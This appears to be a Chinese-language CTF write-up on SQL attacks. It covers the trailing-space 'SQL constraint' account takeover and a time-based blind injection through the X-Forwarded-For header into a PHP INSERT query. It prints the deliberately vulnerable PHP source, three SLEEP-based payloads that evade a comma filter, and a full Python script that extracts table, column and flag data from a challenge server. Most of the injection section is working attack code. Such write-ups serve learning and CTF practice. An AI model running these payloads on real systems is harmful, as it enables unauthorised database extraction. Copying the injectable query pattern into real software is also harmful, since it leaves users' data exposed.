SQL 约束攻击
某些远古版本的 MySQL 数据库在使用insert into
语句时,字符串末尾的空格会被删除。
若以此种方式实现注册功能,有可能存在 SQL 约束漏洞。
当某用户名,假设为cindemor
,它的密码是cindemorpwd
。
攻击者在注册新用户时,注册"cindemor<若干个空格>"
这样一个用户名。
便可以自己设的密码,登录账户cindemor
。
详见这篇文章。
insert into 时间盲注
题目给出了源码:
<?php
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>
在 X_Forwarded_For 进行注入,语句是insert into
。
insert into
语句下,执行额外的查询语句需要要先闭合左右的'
,然后使用+
连接查询语句。
由于不返回错误信息,只能使用盲注,用脚本去一位位猜解内容,这里使用基于时间差的盲注。
使用函数substring()
一位位截取查询结果,同时遍历所有常见字符。
若猜解成功,则使用函数sleep()
,若响应时间超过某个值,则判断猜解成功。
由于存在出现多条查询结果的情况,故使用limit
语句来将查询结果一条条取出。
而源码又过滤了,
,故使用from
和for
来代替substring()
的逗号,使用offset
代替limit
的逗号。
payload1,查表名:
'+(select (case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1
得到两个表client_ip
flag
,表flag
应该就是目标表,故在flag
表中继续查询。
payload2,查列名:
'+(select (case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1
得到列名为flag
。
payload3,查出数据:
'+(select (case when (substring((select flag from flag limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1
脚本如下:
import requests
URL="http://120.24.86.145:8002/web15/"
STR="0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-_"
#表名
payload2="'+(select (case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1"
biao=""
for k in range (0,100):
is1=0
for i in range (1,100):
is2=0
for j in STR:
try:
hd={"X-Forwarded-For": payload2.format(k,str(i),j)}
r=requests.get(URL,headers=hd, timeout=3)
except requests.exceptions.ReadTimeout:
is1=1
is2=1
biao+=j
print (biao)
break
if is2==0:
break
if is1==0:
break
biao+=','
biao=biao.strip(',').split(',')
print (biao)
#字段名
payload3="'+(select (case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1"
ziduan=""
for k in range (0,100):
is1=0
for i in range (1,100):
is2=0
for j in STR:
try:
hd={"X-Forwarded-For": payload3.format(k,str(i),j)}
r=requests.get(URL,headers=hd, timeout=3)
except requests.exceptions.ReadTimeout:
is1=1
is2=1
ziduan+=j
print (ziduan)
break
if is2==0:
break
if is1==0:
break
ziduan+=','
ziduan=ziduan.strip(',').split(',')
print (ziduan)
#出flag
payload4="'+(select (case when (substring((select flag from flag limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) and '1"
flag=""
for k in range (0,100):
is1=0
for i in range (1,100):
is2=0
for j in STR:
try:
hd={"X-Forwarded-For": payload4.format(k,str(i),j)}
r=requests.get(URL,headers=hd, timeout=3)
except requests.exceptions.ReadTimeout:
is1=1
is2=1
flag+=j
print (flag)
break
if is2==0:
break
if is1==0:
break
flag+=','
flag=flag.strip(',').split(',')
print (flag)